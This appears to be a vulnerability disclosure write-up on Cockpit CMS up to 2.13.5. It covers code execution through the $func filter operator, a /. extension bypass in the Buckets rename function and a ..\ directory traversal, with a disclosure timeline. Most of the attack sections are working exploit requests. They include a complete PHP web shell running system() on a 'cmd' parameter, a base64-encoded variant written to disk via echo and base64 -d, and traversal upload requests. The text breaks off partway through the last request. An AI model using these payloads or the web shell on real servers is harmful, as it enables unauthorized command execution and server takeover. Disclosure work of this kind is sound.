Multiple Vulnerabilities in Cockpit CMS <= Version 2.13.5

Disclosure Timeline

Date Event
13th March 2026 Reported the Arbitrary Code Execution vulnerability to Cockpit CMS
14th March 2026 Patch created and pushed to the develop branch
25th March 2026 Reported the Arbitrary File Write and Directory Traversal vulnerabilities to Cockpit CMS
25th March 2026 Patch created and pushed to the develop branch
30th March 2026 Cockpit CMS version 2.14.0 released with the patches
29th April 2026 Vulnerability write up was released

Acknowledgements

I just want to give huge kudos to Artur for responding quickly and patching these vulnerabilities. For each of the issues I reported, he released a patch within 7 hours which is impressive!

Overview

After testing a few open-source CMS projects as part of pen tests for work, and finding a few vulnerabilities, I decided to take a look at some other open-source CMS projects to see what else could be found. In my search I can across Cockpit CMS, a PHP-based headless CMS, where I found a rather nice bunch of issues.

But first off, what is Cockpit CMS?

Cockpit CMS is a modern, open-source headless content management system built with PHP that focuses on flexibility and developer control. Unlike traditional CMS platforms that lock you into a specific frontend, Cockpit acts purely as a content backend, exposing data through REST and GraphQL APIs.

Vulnerability 1 - Arbitrary Code Execution via filter Parameter

Before digging into the source code and setting up my own instance of Cockpit CMS, I did some searching for write ups of previous vulnerabilities and it was during this research I came across a post by PT SWARM (https://swarm.ptsecurity.com/rce-cockpit-cms/). Reading through, it gave me an idea as to where to start looking, specifically the $func operator within the Mongolite library used by the application.

This non-standard operator takes a function name as its value ($conditionValue) and calls it parsing in a single parameter (fieldValue).

            case '$func':
            case '$fn':
            case '$f':
                if (!\is_callable($conditionValue)) {
                    throw new \InvalidArgumentException('Invalid argument for ' . $operator . ': function expected');
                }
                return (bool)$conditionValue($fieldValue);

In the article they used this operator to call the PHP function var_dump to leak information from the backend, but my thoughts immediately turned to:

“Can I run system commands?”

In short, yes! The system function was supported, but to use it I needed to inject valid commands into parts of the application that could then be passed to the function call.

After reviewing the API documentation and playing around with the application some more, I found that several endpoints contained a parameter called filter. This parameter was designed to, for lack of a better word, filter the items returned by the CMS using a given set of conditions. Looking at the source code these conditions allowed you to specify various operators including $func. Result!

The list of endpoints included:

  • /api/content/items/<model>
  • /api/conent/items
  • /content/collection/find/<model>
  • /assets/assets
  • /system/logs/load

The next step was to create a payload that would run the system function, luckily this was pretty easy:

"filter":["{\"<field>\":{\"$func\":\"system\"}}"]

For each endpoint the <field> value could be replaced by a field in the resulting object, where we placed the commands to be run. Luckily there were lots of locations that could be used, such as:

  • asset titles
  • asset descriptions
  • asset tags
  • collection contents

So, by creating or modifying assets or collection items and then using the filter parameter it is possible to run arbitrary system commands on the web host with the privileges of the service.

Initial Proof of Concept

For the initial proof of concept I attempted to see if it was possible to create a file on the server. I created a new collection with the model name of rce with a simple text field called cmd. Not original but keeping it simple.

I then created a new item within the collection and set the cmd text to echo 'arbitrary code execution confirmed' > vulnerable.txt.

Request - Creating the test command

POST /content/models/saveItem/rce HTTP/1.1
Host: 192.168.1.210:9081
Content-Length: 234
X-CSRF-TOKEN: eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJjc3JmIjoiYXBwLmNzcmYuYmI1OTIzZDM1YzE3NGVhNmU3MjE1NDk2MjhhZDEzYzVmMDFhNTg3YTE4NDEyOWRiMGVhYjUwMzZkNjZiYzQzOCJ9.kEmi-eZ2xCGCxVE4d9sKB29hVmWYKQNDP-X7wuq2n_8
X-Requested-With: XMLHttpRequest
Accept-Language: en-GB,en;q=0.9
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/135.0.0.0 Safari/537.36
Content-Type: application/json; charset=UTF-8
Accept: */*
Origin: http://192.168.1.210:9081
Referer: http://192.168.1.210:9081/content/collection/item/rce/69b3f8f3eaeac0b3e1085fc0
Accept-Encoding: gzip, deflate, br
Cookie: 40d1b2d83998fabacb726e5bc3d22129=10c8a52b0b5e24711fd600f02feeb401
Connection: keep-alive

{"item":{"cmd":"echo 'arbitrary code execution confirmed' > vulnerable.txt",[...SNIPPED...],"_state":1,"_cby":"69b1d9c77196bcf22b0e3f03","_id":"69b3f8f3eaeac0b3e1085fc0"}}

Response - Creating the test command

HTTP/1.1 200 OK
Cache-Control: no-store, no-cache, must-revalidate
Content-Type: application/json
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Pragma: no-cache
Server: FrankenPHP Caddy
X-Frame-Options: SAMEORIGIN
Content-Length: 225

{"cmd":"echo 'arbitrary code execution confirmed' > vulnerable.txt",[...SNIPPED...],"_state":1,"_cby":"69b1d9c77196bcf22b0e3f03","_id":"69b3f8f3eaeac0b3e1085fc0"}

Next, I attempted to execute the command using the filter parameter.

Request - Executing the payload

POST /content/collection/find/rce HTTP/1.1
Host: 192.168.1.210:9081
Content-Length: 126
X-CSRF-TOKEN: eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJjc3JmIjoiYXBwLmNzcmYuYmI1OTIzZDM1YzE3NGVhNmU3MjE1NDk2MjhhZDEzYzVmMDFhNTg3YTE4NDEyOWRiMGVhYjUwMzZkNjZiYzQzOCJ9.kEmi-eZ2xCGCxVE4d9sKB29hVmWYKQNDP-X7wuq2n_8
X-Requested-With: XMLHttpRequest
Accept-Language: en-GB,en;q=0.9
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/135.0.0.0 Safari/537.36
Content-Type: application/json; charset=UTF-8
Accept: */*
Origin: http://192.168.1.210:9081
Referer: http://192.168.1.210:9081/content/collection/items/rce?state=eyJwYWdlIjoxLCJmaWx0ZXIiOiJ7XCJjbWRcIjp7XCIkZnVuY1wiOlwic3lzdGVtXCJ9fSIsInNvcnQiOnsiX2NyZWF0ZWQiOi0xfSwic3RhdGUiOm51bGwsImxpbWl0IjoyNSwidmlldyI6bnVsbH0=
Accept-Encoding: gzip, deflate, br
Cookie: 40d1b2d83998fabacb726e5bc3d22129=10c8a52b0b5e24711fd600f02feeb401
Connection: keep-alive

{"options":{"limit":25,"skip":0,"sort":{"_created":-1},"filter":"{\"cmd\":{\"$func\":\"system\"}}"},"process":{},"state":null}

Response - Executing the payload

HTTP/1.1 200 OK
Cache-Control: no-store, no-cache, must-revalidate
Content-Type: application/json
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Pragma: no-cache
Server: FrankenPHP Caddy
X-Frame-Options: SAMEORIGIN
Content-Length: 41

{"items":[],"count":0,"pages":0,"page":1}

To see if it worked, I then browsed to /vulnerable.txt and was met with the text response “arbitrary code execution confirmed”.

Request - Get /vulnerable.txt

GET /vulnerable.txt HTTP/1.1
Host: 192.168.1.210:9081
Accept-Language: en-GB,en;q=0.9
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/135.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate, br
Cookie: 40d1b2d83998fabacb726e5bc3d22129=10c8a52b0b5e24711fd600f02feeb401
Connection: keep-alive

Response - GET /vulnerable.txt

HTTP/1.1 200 OK
Accept-Ranges: bytes
Content-Length: 35
Content-Type: text/plain; charset=utf-8
Etag: "dh1qjog5931yz"
Last-Modified: Fri, 13 Mar 2026 14:48:14 GMT
Server: FrankenPHP Caddy
Vary: Accept-Encoding

arbitrary code execution confirmed

Command executed successfully!! Now the question was “How do I escalate this?!”, once again a simple answer a PHP web shell.

For this new proof of concept I base64 encoded a simple web shell (to make sure I didn’t have any issues with character encoding) and updated the previous collection item.

Base64 Encoded Web Shell

PGh0bWw+CjxoZWFkPjx0aXRsZT5GZWxTZWMtU0g8L3RpdGxlPjwvaGVhZD4KICAgICAgICA8Ym9keT4KICAgICAgICA8aDE+RmVsU2VjIC0gU2hlbGw8L2gxPgogICAgICAgICAgICAgICAgPHByZSBzdHlsZT0iZm9udC1mYW1pbHk6IG1vbm9zcGFjZSI+CiBfX19fX19fX19fX19fX19fCjwgRmVsU2VjIC0gU0hFTEwgPgogLS0tLS0tLS0tLS0tLS0tLQogXAogIFwKICAgXAogLF8gICAgIF8KIHxcXywtfi8KIC8gXyAgXyB8ICAgICwtLS4KKCAgQCAgQCApICAgLyAsLScKIFwgIF9UXy8tLl8oICgKIC8gICAgICAgICBgLiBcCnwgICAgICAgICBfICAgfAogXCAsICAvICAgICAgIHwKICB8fCB8LV9fXyAgIC8KICgoXy9gKF9fX18sLScKPC9wcmU+CiA8YnIgLz4KICAgICAgIDxwcmU+VXNhZ2U6IDx0YXJnZXQ+L2ZlbHNlYy1yY2UucGhwP2NtZD1ob3N0bmFtZTwvcHJlPgogICAgICAgPGJyIC8+Cjw/cGhwCgppZihpc3NldCgkX1JFUVVFU1RbJ2NtZCddKSl7CiAgICAgICAgZWNobyAiPHByZT4iOwogICAgICAgICRjbWQgPSAoJF9SRVFVRVNUWydjbWQnXSk7CiAgICAgICAgc3lzdGVtKCRjbWQpOwogICAgICAgIGVjaG8gIjwvcHJlPiI7CiAgICAgICAgZGllOwp9Cgo/PgogIDwvYm9keT4KPC9odG1sPgo=

New Payload

echo 'PGh0bWw+CjxoZWFkPjx0aXRsZT5GZWxTZWMtU0g8L3RpdGxlPjwvaGVhZD4KICAgICAgICA8Ym9keT4KICAgICAgICA8aDE+RmVsU2VjIC0gU2hlbGw8L2gxPgogICAgICAgICAgICAgICAgPHByZSBzdHlsZT0iZm9udC1mYW1pbHk6IG1vbm9zcGFjZSI+CiBfX19fX19fX19fX19fX19fCjwgRmVsU2VjIC0gU0hFTEwgPgogLS0tLS0tLS0tLS0tLS0tLQogXAogIFwKICAgXAogLF8gICAgIF8KIHxcXywtfi8KIC8gXyAgXyB8ICAgICwtLS4KKCAgQCAgQCApICAgLyAsLScKIFwgIF9UXy8tLl8oICgKIC8gICAgICAgICBgLiBcCnwgICAgICAgICBfICAgfAogXCAsICAvICAgICAgIHwKICB8fCB8LV9fXyAgIC8KICgoXy9gKF9fX18sLScKPC9wcmU+CiA8YnIgLz4KICAgICAgIDxwcmU+VXNhZ2U6IDx0YXJnZXQ+L2ZlbHNlYy1yY2UucGhwP2NtZD1ob3N0bmFtZTwvcHJlPgogICAgICAgPGJyIC8+Cjw/cGhwCgppZihpc3NldCgkX1JFUVVFU1RbJ2NtZCddKSl7CiAgICAgICAgZWNobyAiPHByZT4iOwogICAgICAgICRjbWQgPSAoJF9SRVFVRVNUWydjbWQnXSk7CiAgICAgICAgc3lzdGVtKCRjbWQpOwogICAgICAgIGVjaG8gIjwvcHJlPiI7CiAgICAgICAgZGllOwp9Cgo/PgogIDwvYm9keT4KPC9odG1sPgo=' | base64 -d -w0 > felsec-rce.php

Request - Update the collection item

POST /content/models/saveItem/rce HTTP/1.1
Host: 192.168.1.210:9081
Content-Length: 1052
X-CSRF-TOKEN: eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJjc3JmIjoiYXBwLmNzcmYuOWM5MDc1MDYxYzY5NTE4NmNlZmNjNzE3OGVmN2M4OTg3OWM1N2NjNzg3MzI3ZDNiYjk0NWMyZmU4Nzc3ZDNmOCJ9.sKgg-uUtN0lGVuFDVWGCQOzKgRqk2L7iRYpxVd1-9UY
X-Requested-With: XMLHttpRequest
Accept-Language: en-GB,en;q=0.9
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/135.0.0.0 Safari/537.36
Content-Type: application/json; charset=UTF-8
Accept: */*
Origin: http://192.168.1.210:9081
Referer: http://192.168.1.210:9081/content/collection/item/rce/69b3f8f3eaeac0b3e1085fc0
Accept-Encoding: gzip, deflate, br
Cookie: 40d1b2d83998fabacb726e5bc3d22129=a849fe3316b7b9aba505a634c9e154e5
Connection: keep-alive

{"item":{"cmd":"echo 'PGh0bWw+CjxoZWFkPjx0aXRsZT5GZWxTZWMtU0g8L3RpdGxlPjwvaGVhZD4KICAgICAgICA8Ym9keT4KICAgICAgICA8aDE+RmVsU2VjIC0gU2hlbGw8L2gxPgogICAgICAgICAgICAgICAgPHByZSBzdHlsZT0iZm9udC1mYW1pbHk6IG1vbm9zcGFjZSI+CiBfX19fX19fX19fX19fX19fCjwgRmVsU2VjIC0gU0hFTEwgPgogLS0tLS0tLS0tLS0tLS0tLQogXAogIFwKICAgXAogLF8gICAgIF8KIHxcXywtfi8KIC8gXyAgXyB8ICAgICwtLS4KKCAgQCAgQCApICAgLyAsLScKIFwgIF9UXy8tLl8oICgKIC8gICAgICAgICBgLiBcCnwgICAgICAgICBfICAgfAogXCAsICAvICAgICAgIHwKICB8fCB8LV9fXyAgIC8KICgoXy9gKF9fX18sLScKPC9wcmU+CiA8YnIgLz4KICAgICAgIDxwcmU+VXNhZ2U6IDx0YXJnZXQ+L2ZlbHNlYy1yY2UucGhwP2NtZD1ob3N0bmFtZTwvcHJlPgogICAgICAgPGJyIC8+Cjw/cGhwCgppZihpc3NldCgkX1JFUVVFU1RbJ2NtZCddKSl7CiAgICAgICAgZWNobyAiPHByZT4iOwogICAgICAgICRjbWQgPSAoJF9SRVFVRVNUWydjbWQnXSk7CiAgICAgICAgc3lzdGVtKCRjbWQpOwogICAgICAgIGVjaG8gIjwvcHJlPiI7CiAgICAgICAgZGllOwp9Cgo/PgogIDwvYm9keT4KPC9odG1sPgo=' | base64 -d -w0 > felsec-rce.php",[...SNIPPED...],"_state":1,"_cby":"69b1d9c77196bcf22b0e3f03","_id":"69b3f8f3eaeac0b3e1085fc0"}}

Response - Update the collection item

HTTP/1.1 200 OK
Cache-Control: no-store, no-cache, must-revalidate
Content-Type: application/json
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Pragma: no-cache
Server: FrankenPHP Caddy
Vary: Accept-Encoding
X-Frame-Options: SAMEORIGIN
Content-Length: 1045

{"cmd":"echo 'PGh0bWw+CjxoZWFkPjx0aXRsZT5GZWxTZWMtU0g8L3RpdGxlPjwvaGVhZD4KICAgICAgICA8Ym9keT4KICAgICAgICA8aDE+RmVsU2VjIC0gU2hlbGw8L2gxPgogICAgICAgICAgICAgICAgPHByZSBzdHlsZT0iZm9udC1mYW1pbHk6IG1vbm9zcGFjZSI+CiBfX19fX19fX19fX19fX19fCjwgRmVsU2VjIC0gU0hFTEwgPgogLS0tLS0tLS0tLS0tLS0tLQogXAogIFwKICAgXAogLF8gICAgIF8KIHxcXywtfi8KIC8gXyAgXyB8ICAgICwtLS4KKCAgQCAgQCApICAgLyAsLScKIFwgIF9UXy8tLl8oICgKIC8gICAgICAgICBgLiBcCnwgICAgICAgICBfICAgfAogXCAsICAvICAgICAgIHwKICB8fCB8LV9fXyAgIC8KICgoXy9gKF9fX18sLScKPC9wcmU+CiA8YnIgLz4KICAgICAgIDxwcmU+VXNhZ2U6IDx0YXJnZXQ+L2ZlbHNlYy1yY2UucGhwP2NtZD1ob3N0bmFtZTwvcHJlPgogICAgICAgPGJyIC8+Cjw\/cGhwCgppZihpc3NldCgkX1JFUVVFU1RbJ2NtZCddKSl7CiAgICAgICAgZWNobyAiPHByZT4iOwogICAgICAgICRjbWQgPSAoJF9SRVFVRVNUWydjbWQnXSk7CiAgICAgICAgc3lzdGVtKCRjbWQpOwogICAgICAgIGVjaG8gIjwvcHJlPiI7CiAgICAgICAgZGllOwp9Cgo\/PgogIDwvYm9keT4KPC9odG1sPgo=' | base64 -d -w0 > felsec-rce.php",[...SNIPPED...],"_state":1,"_cby":"69b1d9c77196bcf22b0e3f03","_id":"69b3f8f3eaeac0b3e1085fc0"}

Triggering the new payload creates the file /felsec-rce.php in the root directory of the web application.

Request - Triggering the payload

POST /content/collection/find/rce HTTP/1.1
Host: 192.168.1.210:9081
Content-Length: 93
X-CSRF-TOKEN: eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJjc3JmIjoiYXBwLmNzcmYuMjNlYjQ3ODljNWVhNzc1YjFjMTE3YTNhYzk5YjQ1ZWQwNDkzYjU4Yzg4MjcwNTU5ODIyNWZhODIwYjA3MzFkMyJ9.9QY5XydchKXSyEuaUnGeY_1UWBWipYp1FfzQs30Rb2I
X-Requested-With: XMLHttpRequest
Accept-Language: en-GB,en;q=0.9
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/135.0.0.0 Safari/537.36
Content-Type: application/json; charset=UTF-8
Accept: */*
Origin: http://192.168.1.210:9081
Referer: http://192.168.1.210:9081/content
Accept-Encoding: gzip, deflate, br
Cookie: 40d1b2d83998fabacb726e5bc3d22129=9ef8bf4ba9086c7879c894705d439c21
Connection: keep-alive

{"options":{"sort":{"_modified":-1},"limit":1,"filter":["{\"cmd\":{\"$func\":\"system\"}}"]}}

Response - Triggering the payload

HTTP/1.1 200 OK
Cache-Control: no-store, no-cache, must-revalidate
Content-Type: application/json
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Pragma: no-cache
Server: FrankenPHP Caddy
X-Frame-Options: SAMEORIGIN
Content-Length: 41

{"items":[],"count":0,"pages":0,"page":1}

Browsing to /felsec-rce.php, I now have a web shell on the server!

Web shell running the env command

Success!

Next Steps

After reporting the first vulnerability, I decided to take a look at some of the modules used by the application. One module in particular caught my eye, Buckets. It had some of the same functionality as the Assets and Content modules (uploading and sharing files), but it did not seem to be directly referenced in the application and it did not have the same level of restrictions as the other two. Moreover, it did not implement the same access controls as the other modules allowing any authenticated user to access the functionality.

This made it a prime target for vulnerabilities.

Vulnerability 2 - Filter Bypass to Arbitrary Code Execution

The Buckets module implemented checks to prevent the uploading of .php files, mainly using the _isFileTypeAllowed function (below).

    protected function _isFileTypeAllowed($file) {

        $allowed = \trim($this->app->retrieve('finder.allowed_uploads', '*'));

        if (\strtolower(\pathinfo($file, PATHINFO_EXTENSION)) == 'php') {
            return false;
        }

        if ($allowed == '*') {
            return true;
        }

        $allowed = \str_replace([' ', ','], ['', '|'], \preg_quote(\is_array($allowed) ? \implode(',', $allowed) : $allowed));

        return \preg_match("/\.({$allowed})$/i", $file);
    }

This function checks that the extension of the file does not match php and is within allowed file list (if one is set), using the pathinfo function.

Reviewing the source code I noticed that the rename function, only uses the _isFileTypeAllowed function to validate the new file name.

    protected function rename() {

        $path = $this->_getPathParameter();

        if ($path === false) return false;

        $name = $this->param('name', false);

        if ($name && $this->_isFileTypeAllowed($name)) {

            $source = $this->root.'/'.$path;
            $target = $this->root.'/'.$name;

            $this->app->fileStorage->move($source, $target);
        }

        return \json_encode(['success' => true]);
    }

Meaning that if we are able to bypass this check, we should be able to rename a file to use the .php extension and gain the ability to run arbitrary commands on the host.

After some trial and error, a suitable bypass was identified. When renaming files, appending the characters /. causes the pathInfo function to return null (as the function assumes the file path provided has no filename or extension). Since null does not equal php the new filename is marked as allowed and passes the check. The malicious filename is then passed to the move function implemented within the FileStorage component, where the path is normalised removing the trailing /. and allowing the file to be renamed with the .php extension.

A full walkthrough of the exploit is below.

  • Log into the application with any user (even on with “read-only” type access);
  • Upload a malicious file with a supported file extension (.txt);

Web Shell Payload:

> cat felsec-rce.php

<html>
<head><title>FelSec-SH</title></head>
        <body>
        <h1>FelSec - Shell</h1>
                <pre style="font-family: monospace">
 ________________
< FelSec - SHELL >
 ----------------
 \
  \
   \
 ,_     _
 |\_,-~/
 / _  _ |    ,--.
(  @  @ )   / ,-'
 \  _T_/-._( (
 /         `. \
|         _   |
 \ ,  /       |
  || |-___   /
 ((_/`(____,-'
</pre>
 <br />
       <pre>Usage: <target>/felsec-rce.php?cmd=hostname</pre>
       <br />
<?php

if(isset($_REQUEST['cmd'])){
        echo "<pre>";
        $cmd = ($_REQUEST['cmd']);
        system($cmd);
        echo "</pre>";
        die;
}

?>
  </body>
</html>

Request - Uploading the web shell:

POST /system/buckets/api/default?cmd=upload&path=. HTTP/1.1
Host: 192.168.1.210:9081
Content-Length: 854
X-CSRF-TOKEN: eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJjc3JmIjoiYXBwLmNzcmYuNzkyNGNhMDU5YTYyN2YyN2VjNWRlNTUzYWFjZTRmYWNiMTY0NjE0Mzg4MTQ5MWJmOTczZWRkNTBiNzI5MDEyYyJ9._rYQFGNY4sGFOE8tC9tS9wd7YDaXojrgASGPrgq28UA
Cookie: 40d1b2d83998fabacb726e5bc3d22129=e5ba0e005767e18851e330d89c1426d0
X-Requested-With: XMLHttpRequest
Accept-Language: en-GB,en;q=0.9
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/135.0.0.0 Safari/537.36
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryfm71m98AVO7Pf5iO
Accept: */*
Origin: http://192.168.1.210:9081
Referer: http://192.168.1.210:9081/finder
Accept-Encoding: gzip, deflate, br
Connection: keep-alive

------WebKitFormBoundaryfm71m98AVO7Pf5iO
Content-Disposition: form-data; name="files[]"; filename="felsec-rce.txt"
Content-Type: text/plain

<html>
<head><title>FelSec-SH</title></head>
        <body>
        <h1>FelSec - Shell</h1>
                <pre style="font-family: monospace">
 ________________
< FelSec - SHELL >
 ----------------
 \
  \
   \
 ,_     _
 |\_,-~/
 / _  _ |    ,--.
(  @  @ )   / ,-'
 \  _T_/-._( (
 /         `. \
|         _   |
 \ ,  /       |
  || |-___   /
 ((_/`(____,-'
</pre>
 <br />
       <pre>Usage: <target>/felsec-rce.php?cmd=hostname</pre>
       <br />
<?php

if(isset($_REQUEST['cmd'])){
        echo "<pre>";
        $cmd = ($_REQUEST['cmd']);
        system($cmd);
        echo "</pre>";
        die;
}

?>
  </body>
</html>

------WebKitFormBoundaryfm71m98AVO7Pf5iO--

Response - Uploading the web shell:

HTTP/1.1 200 OK
Cache-Control: no-store, no-cache, must-revalidate
Content-Type: application/json
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Pragma: no-cache
Server: FrankenPHP Caddy
Content-Length: 43

{"uploaded":["felsec-rce.txt"],"failed":[]}
  • Use the rename function to change the extension to .php;

Request - Renaming the file with the .php extension:

GET /system/buckets/api/default?cmd=rename&path=./felsec-rce.txt&name=./felsec-rce.php/. HTTP/1.1
Host: 192.168.1.210:9081
Content-Length: 0
X-CSRF-TOKEN: eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJjc3JmIjoiYXBwLmNzcmYuNzkyNGNhMDU5YTYyN2YyN2VjNWRlNTUzYWFjZTRmYWNiMTY0NjE0Mzg4MTQ5MWJmOTczZWRkNTBiNzI5MDEyYyJ9._rYQFGNY4sGFOE8tC9tS9wd7YDaXojrgASGPrgq28UA
Cookie: 40d1b2d83998fabacb726e5bc3d22129=e5ba0e005767e18851e330d89c1426d0
X-Requested-With: XMLHttpRequest
Accept-Language: en-GB,en;q=0.9
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/135.0.0.0 Safari/537.36
Accept: */*
Origin: http://192.168.1.210:9081
Referer: http://192.168.1.210:9081/finder
Accept-Encoding: gzip, deflate, br
Connection: keep-alive

Response - Renaming the file with the .php extension:

HTTP/1.1 200 OK
Cache-Control: no-store, no-cache, must-revalidate
Content-Type: application/json
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Pragma: no-cache
Server: FrankenPHP Caddy
Content-Length: 16

{"success":true}
  • Navigate to the file to run the malicious PHP code.

Request - Renamed file accessible on the server and able to run system commands:

GET /storage/uploads/buckets/default/felsec-rce.php?cmd=env%26%26date HTTP/1.1
Host: 192.168.1.210:9081
Accept-Language: en-GB,en;q=0.9
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/135.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate, br
Cookie: 40d1b2d83998fabacb726e5bc3d22129=e5ba0e005767e18851e330d89c1426d0
Connection: keep-alive

Response - Renamed file accessible on the server and able to run system commands:

HTTP/1.1 200 OK
Content-Type: text/html; charset=UTF-8
Server: FrankenPHP Caddy
Content-Length: 1452

<html>
<head><title>FelSec-SH</title></head>
        <body>
        <h1>FelSec - Shell</h1>
                <pre style="font-family: monospace">
 ________________
< FelSec - SHELL >
 ----------------
 \
  \
   \
 ,_     _
 |\_,-~/
 / _  _ |    ,--.
(  @  @ )   / ,-'
 \  _T_/-._( (
 /         `. \
|         _   |
 \ ,  /       |
  || |-___   /
 ((_/`(____,-'
</pre>
 <br />
       <pre>Usage: <target>/felsec-rce.php?cmd=hostname</pre>
       <br />
<pre>HOSTNAME=8a1011b1e29e
PHP_INI_DIR=/usr/local/etc/php
HOME=/root
OLDPWD=/app
GODEBUG=cgocheck=0
PHP_LDFLAGS=-Wl,-O1 -pie
PHP_CFLAGS=-fstack-protector-strong -fpic -fpie -O2 -D_LARGEFILE_SOURCE -D_FILE_OFFSET_BITS=64
PHP_VERSION=8.4.18
GPG_KEYS=AFD8691FDAEDF03BDF6E460563F15A9B715376CA 9D7F99A0CB8F05C8A6958D6256A97AF7600A39A6 0616E93D95AF471243E26761770426E17EBBB3DD
PHP_CPPFLAGS=-fstack-protector-strong -fpic -fpie -O2 -D_LARGEFILE_SOURCE -D_FILE_OFFSET_BITS=64
PHP_ASC_URL=https://www.php.net/distributions/php-8.4.18.tar.xz.asc
PHP_URL=https://www.php.net/distributions/php-8.4.18.tar.xz
PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
XDG_CONFIG_HOME=/config
XDG_DATA_HOME=/data
PHPIZE_DEPS=autoconf 		dpkg-dev 		file 		g++ 		gcc 		libc-dev 		make 		pkg-config 		re2c
PWD=/var/www/html/storage/uploads/buckets/default
PHP_SHA256=957a9b19b4a8e965ee0cc788ca74333bfffaadc206b58611b6cd3cc8b2f40110
SERVER_NAME=http://
Mon Mar 23 20:46:59 UTC 2026
</pre>

Vulnerability 3 - Directory Traversal to Arbitrary File Write

After bypassing the php filter, I decided to take a look at some of the other functions within the module and after a short while I identified a directory traversal vulnerability within the _getPathParameter function (below).

    protected function _getPathParameter() {

        $path = $this->param('path', false);

        if ($path) {

            $path = \trim(\trim($path, '/'));

            if (\str_contains($path, '../')) {
                $path = false;
            }
        }

        return $path;
    }

This function only checks if the provided file path contains the traversal characters ../, allowing alternative methods to work including ..\.

By injecting the ..\ characters into the path parameter it was possible to:

  • list other files in the uploads directory;
  • overwrite assets;
  • write files to arbitrary locations within the uploads directory.

Request - Listing files in other folders

GET /system/buckets/api/default?cmd=ls&path=..\..\2026/03/11 HTTP/1.1
Host: 192.168.1.210:9081
Content-Length: 0
X-CSRF-TOKEN: eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJjc3JmIjoiYXBwLmNzcmYuMDFiYWQ2NWE0N2NjMzkzZjFmMjA4Mjg0MzU4YTgwOWQ5ZWNhZDUxOTViOGE1MWViNGY0ZTdjYTNhM2UyNGY0OCJ9.z2XyPD77C7c2xs0KjHPkHvv6tJC5xkh75Xwz9mLtrLI
Cookie: 40d1b2d83998fabacb726e5bc3d22129=76694649176ba9d65c5b44190df548c1
X-Requested-With: XMLHttpRequest
Accept-Language: en-GB,en;q=0.9
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/135.0.0.0 Safari/537.36
Accept: */*
Origin: http://192.168.1.210:9081
Referer: http://192.168.1.210:9081/finder
Accept-Encoding: gzip, deflate, br
Connection: keep-alive

Response - Listing files in other folders

HTTP/1.1 200 OK
Cache-Control: no-store, no-cache, must-revalidate
Content-Type: application/json
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Pragma: no-cache
Server: FrankenPHP Caddy
Vary: Accept-Encoding
Content-Length: 874

{"folders":[],"files":[{"is_file":true,"is_dir":false,"name":"eicartxt_uid_69b1bf642e2e5.p12","path":"uploads:\/\/2026\/03\/11\/eicartxt_uid_69b1bf642e2e5.p12","url":"http:\/\/192.168.1.210:9081\/storage\/uploads\/2026\/03\/11\/eicartxt_uid_69b1bf642e2e5.p12","type":"unknown","size":"68 Bytes","filesize":68,"mime":"application\/x-pkcs12","ext":"p12","lastmodified":"11.03.26 19:15","modified":1773256548},[...SNIPPED...]],"path":"uploads:\/\/buckets\/default\/..\\..\\2026\/03\/11"}

Request - Uploading file to arbitrary location:

POST /system/buckets/api/test?cmd=upload&path=..\..\ HTTP/1.1
Host: 192.168.1.210:9081
Content-Length: 248
X-CSRF-TOKEN: eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJjc3JmIjoiYXBwLmNzcmYuNmEwMDQ0OTk3NzA1MDMxNTBkMDVlOWJjN2QyOGM5YmZkOTViNGJiZmRjZmY0ZGYxYmEzYjU0NmFmNGYxYTk5NCJ9.RqR6EbucXT9Dq3FCJGXSCVqVV0AOuVIHYRjLP6wEjVw
X-Requested-With: XMLHttpRequest
Accept-Language: en-GB,en;q=0.9
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/145.0.0.0 Safari/537.36
Accept: */*
Origin: http://192.168.1.210:9081
Referer: http://192.168.1.210:9081/system
Accept-Encoding: gzip, deflate, br
Cookie: 40d1b2d83998fabacb726e5bc3d22129=11908d596e49dfc833320d89b69b0366
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryfm71m98AVO7Pf5iO
Accept: */*
Accept-Encoding: gzip, deflate, br
Connection: keep-alive

------WebKitFormBoundaryfm71m98AVO7Pf5iO
